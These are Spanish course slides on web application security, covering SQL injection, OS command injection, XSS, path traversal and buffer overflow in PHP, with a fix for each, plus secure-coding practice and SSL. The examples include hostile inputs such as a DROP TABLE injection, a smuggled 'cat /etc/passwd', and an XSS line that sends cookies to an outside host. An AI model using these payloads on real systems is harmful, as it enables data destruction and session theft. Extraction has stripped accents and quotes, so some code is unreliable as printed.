Las vulnerabilidades comunes ms peligrosas que resultan de una falta de proteccin adecuada ante los datos de entrada son: Inyeccin SQL Inyeccin de rdenes del SO Inyeccin HTML (Cross-site Scripting o XSS) Path Traversal Buffer Overflow

Seguridad en Sistemas Informticos e Internet

98

Seguridad en la Aplicacin

Inyeccin SQL
Consiste en inyectar un mandato dentro de una consulta SQL. Sea la consulta:
$consulta = SELECT titulo FROM libros WHERE codigo = $codigo;

siendo $codigo un valor introducido desde un formulario. Si el valor es 23 la consulta ser:


SELECT titulo FROM libros WHERE codigo = 23

Si el valor es

23; DROP TABLE users

la consulta es:

SELECT titulo FROM libros WHERE codigo = 23; DROP TABLE users

que destruira la tabla de usuarios de MySQL


Seguridad en Sistemas Informticos e Internet 99

Seguridad en la Aplicacin

Inyeccin SQL
Sea ahora el siguiente cdigo muy habitual en una aplicacin Web:
$consulta = SELECT id FROM usuarios WHERE username = $username AND password = $password;

Si se introducen los valores juan como username y jj.ssii como password, la consulta queda:
SELECT id FROM usuarios WHERE username = juan AND password = jj.ssii

Seguridad en Sistemas Informticos e Internet

100

Seguridad en la Aplicacin

Inyeccin SQL
Se puede saltar la comprobacin del password introduciendo el valor juan-- como username o el valor OR = como password. Las consultas que quedaran en ambos casos son, respectivamente:
SELECT id FROM usuarios WHERE username = juan-- AND password =
SELECT id FROM usuarios WHERE username = juan AND password = OR =

En el primer caso ntese que -- es un comentario de lnea en MySQL y provoca que se ignore todo lo que viene tras l en la lnea

Seguridad en Sistemas Informticos e Internet

101

Seguridad en la Aplicacin

Inyeccin SQL
La inyeccin SQL puede utilizarse para: Cambiar valores de las consultas Concatenar varias consultas Aadir llamadas a funcin y procedimientos almacenados a una consulta Para evitar la inyeccin SQL es muy importante validar los valores que se han de integrar en la consulta SQL. En el primer caso, por ejemplo, $codigo debe ser un valor entero

Seguridad en Sistemas Informticos e Internet

102

Seguridad en la Aplicacin

Inyeccin SQL
Ejercicio: inyeccin de una orden SQL desde un formulario

Seguridad en Sistemas Informticos e Internet

103

Seguridad en la Aplicacin

Inyeccin de rdenes del SO


Casi todos los lenguajes de programacin disponen de funciones que permiten la ejecucin de rdenes del Sistema Operativo En PHP, por ejemplo, se tienen las funciones exec() y system(). Estas funciones son tiles para tareas como el manejo de ficheros o el envo de correo, pero plantean serios riesgos ya que se pueden manipular para: Alterar las rdenes ejecutadas Alterar los parmetros pasados a las rdenes del sistema Ejecutar rdenes adicionales
Seguridad en Sistemas Informticos e Internet 104

Seguridad en la Aplicacin

Inyeccin de rdenes del SO


Sea, por ejemplo, el siguiente cdigo PHP:
system (ls $directorio);

Si el valor de la variable $directorio fuese /tmp; cat /etc/passwd, se mostrara el fichero de passwords del sistema ya que se ejecutara la orden
ls /tmp; cat /etc/passwd

Seguridad en Sistemas Informticos e Internet

105

Seguridad en la Aplicacin

Inyeccin de rdenes del SO


Una solucin a este problema es utilizar la funcin escapeshellarg(), que coloca unas comillas englobando al parmetro y elimina las que pudiera haber dentro del mismo:
system (ls . escapeshellarg($directorio));

De esta manera, la orden que se ejecutara ahora sera


ls /tmp; cat /etc/passwd

Seguridad en Sistemas Informticos e Internet

106

Seguridad en la Aplicacin

Inyeccin de rdenes del SO


La mejor proteccin contra este ataque es limitar toda informacin pasada a las rdenes del sistema nicamente a valores conocidos Si estos valores no pueden ser enumerados, la alternativa es limitar el tamao al mnimo valor posible y sanear los caracteres que pudieran utilizarse para ejecutar otras rdenes Tambin, y en la medida de lo posible, deben utilizarse las funciones de biblioteca en lugar de invocar rdenes del SO

Seguridad en Sistemas Informticos e Internet

107

Seguridad en la Aplicacin

Inyeccin de rdenes del SO


Ejercicio: inyeccin de una orden del sistema operativo desde un formulario

Seguridad en Sistemas Informticos e Internet

108

Seguridad en la Aplicacin

Inyeccin HTML (Cross-site Scripting)


Consiste en insertar en un texto (p.ej. un mensaje de un foro) cdigo malicioso (p.ej. JavaScript). Cuando otro usuario visualice el texto el cdigo se ejecutar en su mquina. Por ejemplo, si se inserta el texto:
Una galleta?<script>alert(document.cookie)</script>

cuando un usuario lo visualice aparecer su cookie en una ventana. Esto no es grave ya que cada usuario visualiza su propia cookie, pero si se modifica as:
<script>document.write('<img src= "http: //targetsite.com/'+document.cookie+'")</script>

dejar la cookie del usuario en el log del servidor del atacante, que podra hacerse con la sesin
Seguridad en Sistemas Informticos e Internet 109

Seguridad en la Aplicacin

Inyeccin HTML (Cross-site Scripting)


Hay varios tipos de cosas que se pueden insertar en el cdigo HTML de esta manera: Marcas HTML, como <SCRIPT>, <A>, <IMG> o <IFRAME>. El efecto se produce cuando el texto se visualiza en el navegador de otro usuario Eventos, como ONCLICK, asociados habitualmente a elementos de formulario

Seguridad en Sistemas Informticos e Internet

110

Seguridad en la Aplicacin

Inyeccin HTML (Cross-site Scripting)


Para evitar este ataque es conveniente filtrar todos los caracteres que tienen un significado especial en HTML como , &, < y >. Los lenguajes disponen de funciones especficas para ello. En PHP existe la funcin htmlspecialchars()

Seguridad en Sistemas Informticos e Internet

111

Seguridad en la Aplicacin

Inyeccin HTML (Cross-site Scripting)


Ejemplo: el siguiente cdigo muestra el campo mensaje de un registro recuperado de una tabla
print <TD>; print $fila[mensaje]; print </TD>;

Si el mensaje contiene caracteres HTML puede ser peligroso. Para solucionarlo se modifica el cdigo:
print <TD>; print htmlspecialchars($fila[mensaje]); print </TD>;

Seguridad en Sistemas Informticos e Internet

112

Seguridad en la Aplicacin

Inyeccin HTML (Cross-site Scripting)


Esta solucin no siempre es vlida. En el cdigo
//llamada: pag.php?imagen=javascript:alert(document.cookie); print <IMG SRC=. htmlspecialchars($_GET[imagen]) .>; // resultado: <IMG SRC=javascript:alert(document.cookie);>

la funcin htmlspecialchars() no evita que se ejecute el cdigo malicioso. La nica solucin es aceptar siempre datos garantizados como buenos. En este caso, slo se debe aceptar un parmetro que corresponda a un nombre de fichero vlido:
if (preg_match('/^[0-9a-z_]+\.[a-z]+$/i', $_GET[imagen])) print <IMG SRC= . $_GET[imagen] . >;

Seguridad en Sistemas Informticos e Internet

113

Seguridad en la Aplicacin

Inyeccin HTML (Cross-site Scripting)


Ejercicio: almacenamiento de un script en el servidor y posterior visualizacin del mismo

Seguridad en Sistemas Informticos e Internet

114

Seguridad en la Aplicacin

Path Traversal
Una aplicacin es vulnerable a este tipo de ataques cuando el atacante puede construir peticiones que le permiten acceder a ficheros localizados fuera de la raz de la Web, como por ejemplo /etc/passwd Para ello utiliza caracteres como ../ en los parmetros que representan nombres de fichero. Si el atacante accede a directorios del sistema, podra llegar incluso a ejecutar mandatos del sistema

Seguridad en Sistemas Informticos e Internet

115

Seguridad en la Aplicacin

Path Traversal
Sea por ejemplo el siguiente cdigo PHP:
include (/lib/ . $cabecera);

Si la variable $cabecera toma el valor ../etc/passwd, se mostrara el fichero de passwords del sistema

Seguridad en Sistemas Informticos e Internet

116

Seguridad en la Aplicacin

Path Traversal
Para evitar estos ataques hay que utilizar las funciones de normalizacin de rutas que suelen tener los lenguajes En PHP para chequear nombres de ficheros se utilizan las funciones realpath() y basename(). La primera convierte direcciones relativas en absolutas y la segunda toma una ruta y devuelve la parte correspondiente al nombre del fichero. En el ejemplo anterior tendramos:
$cabecera2 = basename (realpath($cabecera)); if ($cabecera2 == $cabecera) include (/lib/ . $cabecera);

Seguridad en Sistemas Informticos e Internet

117

Seguridad en la Aplicacin

Path Traversal
Otra defensa contra los nombres de ficheros incorrectos en PHP es la directiva de configuracin open_basedir:
open_basedir = /alguna/ruta

// en php.ini

PHP limitar las operaciones sobre ficheros al directorio especificado y sus subdirectorios. As, por ejemplo,
include (/alguna/ruta/lib.php); // permitido include (/otra/ruta/lib.php); // da un error // de ejecucin

Seguridad en Sistemas Informticos e Internet

118

Seguridad en la Aplicacin

Path Traversal
Ejercicio: acceso a ficheros del sistema

Seguridad en Sistemas Informticos e Internet

119

Seguridad en la Aplicacin

Buffer Overflow
Este ataque consiste en corromper la pila de ejecucin de una aplicacin enviando unos datos de entrada especialmente preparados con tal fin El objetivo es conseguir la ejecucin de un cdigo enviado por el atacante y tomar el control de la mquina Estas vulnerabilidades no son fciles de detectar y, de hacerse, son muy difciles de explotar

Seguridad en Sistemas Informticos e Internet

120

Seguridad en la Aplicacin

Buffer Overflow
Las vulnerabilidades pueden estar presentes en las herramientas (como el servidor web) o bibliotecas externas, siendo en tal caso conocidas pblicamente y por tanto ms peligrosas. La nica proteccin contra ellas consiste en tener actualizadas todas las herramientas Tambin pueden encontrarse en la aplicacin, siendo ms difciles de explotar porque habr menos atacantes. Adems, en caso de descubrirlas no ser fcil aprovecharlas ya que desconocen el cdigo fuente de la aplicacin. La proteccin pasa por comprobar todo el cdigo que acepta datos de entrada para asegurar que chequea su tamao
Seguridad en Sistemas Informticos e Internet 121

Seguridad en la Aplicacin

Programacin segura
Para evitar o al menos disminuir las vulnerabilidades de una aplicacin web es muy importante seguir unas correctas prcticas de programacin. Veamos algunas de las ms importantes: Inicializacin de variables Gestin de errores Proteccin de informacin

Seguridad en Sistemas Informticos e Internet

122

Seguridad en la Aplicacin

Inicializacin de variables
Sea el siguiente cdigo:
if (comprueba_privilegios()) $superuser = true;

Una llamada de la forma


pagina.php?superuser=1

permitira obtener privilegios de superusuario. Este problema se soluciona dando un valor inicial a la variable $superuser:
$superuser = false; if (comprueba_privilegios()) $superuser = true;

Seguridad en Sistemas Informticos e Internet

123

Seguridad en la Aplicacin

Inicializacin de variables
En general es recomendable inicializar todas las variables antes de usarlas En PHP se puede usar la directiva error_reporting=E_ALL que hace que se muestre un mensaje de aviso cuando se use una variable que no haya sido previamente inicializada

Seguridad en Sistemas Informticos e Internet

124

Seguridad en la Aplicacin

Inicializacin de variables
Tambin se puede deshabilitar register_globals en el fichero php.ini La directiva register_globals establece si se admite o no la creacin automtica de variables globales A partir de PHP 4.2.0 el valor por defecto de esta directiva es off, que es el valor recomendable Para acceder a las variables globales se deben utilizar los arrays globales $_SERVER, $_ENV, $_REQUEST, $_GET, $_POST, $_COOKIE, $_FILES, $_SESSION y $_GLOBALS

Seguridad en Sistemas Informticos e Internet

125

Seguridad en la Aplicacin

Inicializacin de variables
PHP crea automticamente variables globales a partir del entorno (E), las cookies (C), la informacin del servidor (S) y los parmetros GET (G) y POST (P) La directiva variables_order controla el orden de estas variables. El valor por defecto es EGPCS Permitir la creacin de variables globales desde parmetros GET y POST y desde cookies es potencialmente peligroso. Un posible valor para variables_order que evita esto es ES En tal caso para acceder a los parmetros de los formularios y a las cookies hay que usar los arrays globales $_REQUEST, $_GET, $_POST y $_COOKIE
Seguridad en Sistemas Informticos e Internet 126

Seguridad en la Aplicacin

Inicializacin de variables
Ejercicio: error en la autentificacin de usuarios

Seguridad en Sistemas Informticos e Internet

127

Seguridad en la Aplicacin

Gestin de errores
Los mensajes de error son una fuente de informacin muy importante para los atacantes. Pueden proporcionar informacin sensible que les permita refinar sus ataques En un entorno de produccin debe evitarse la aparicin de mensajes de aviso o error. En PHP se pueden utilizar las siguientes directivas en php.ini:
display_errors = off log_errors = on error_log = /var/log/php_errors.log

Los errores irn al fichero especificado en lugar de mostrarse en la pantalla


Seguridad en Sistemas Informticos e Internet 128

Seguridad en la Aplicacin

Gestin de errores
Ejercicio: localizacin de pginas con errores

Seguridad en Sistemas Informticos e Internet

129

Seguridad en la Aplicacin

Proteccin de informacin
Toda informacin sensible debe almacenarse por separado del programa que la utiliza y preferentemente en un directorio situado fuera del rbol de directorios de la Web para evitar que pueda ser accedida por su URL En PHP se puede hacer indicando la ruta completa de los ficheros en las funciones include() y require() o mediante la directiva include_path en php.ini:
include_path = .:/usr/local/php:/usr/local/lib/myapp

De esta forma, aunque se revele el cdigo fuente de los programas, no se mostrar informacin que comprometa al sistema
Seguridad en Sistemas Informticos e Internet 130

Seguridad en la Aplicacin

Proteccin de informacin
Debe evitarse utilizar en el cdigo comentarios que den demasiados detalles acerca del funcionamiento del programa. Puede ser conveniente eliminarlos en la versin de produccin de la aplicacin Hay que suprimir las rdenes de depuracin colocadas en el cdigo durante su desarrollo Deben protegerse los ficheros que tengan el acceso restringido. Para ello no basta con suprimir los enlaces al fichero; alguien podra dar con su nombre y obtenerlo directamente escribiendo su URL. La seguridad a travs de la oscuridad no funciona
Seguridad en Sistemas Informticos e Internet 131

Seguridad en la Aplicacin

Proteccin de informacin
Ejercicio: revelacin de informacin en el cdigo fuente

Seguridad en Sistemas Informticos e Internet

132

Contenido

Introduccin Seguridad en Seguridad en Seguridad en Seguridad en

el el la la

Cliente Servidor Aplicacin Comunicacin

Seguridad en Sistemas Informticos e Internet

133

Seguridad en la Comunicacin

SSL
SSL (Secure Socket Layer) es un protocolo para asegurar el transporte de datos entre el cliente y el servidor web. Diseado inicialmente por Netscape, hoy da es soportado por la mayora de los servidores web Podemos reconocer una conexin HTTP sobre SSL porque aparece el prefijo https en lugar de http en la URL

Seguridad en Sistemas Informticos e Internet

134

Seguridad en la Comunicacin

SSL
La versin actual de SSL es la 3 y a partir de ella se est desarrollando un protocolo pblico por parte del Internet Engineering Task Force (IETF), que se conoce como TLS (Transport Layer Security) y es compatible con SSL

Seguridad en Sistemas Informticos e Internet

135

Seguridad en la Comunicacin

SSL
SSL no es un protocolo simple sino que tiene dos niveles de protocolos El protocolo Record proporciona servicios de seguridad bsica a varios protocolos de nivel ms alto, entre ellos HTTP

Seguridad en Sistemas Informticos e Internet

136

Seguridad en la Comunicacin

SSL
SSL proporciona una comunicacin segura entre cliente y servidor permitiendo la autentificacin mutua, el uso de firmas digitales y garantizando la privacidad mediante encriptacin. Una sesin SSL se establece segn una secuencia de operaciones

Seguridad en Sistemas Informticos e Internet

137

Seguridad en la Comunicacin

SSL

Seguridad en Sistemas Informticos e Internet

138

Seguridad en la Comunicacin

SSL

Seguridad en Sistemas Informticos e Internet

139

Seguridad en la Aplicacin

Prctica 5: SSL en Apache


Creacin de un certificado digital Configuracin de Apache para utilizar el certificado en una conexin SSL

Seguridad en Sistemas Informticos e Internet

140

Você também pode gostar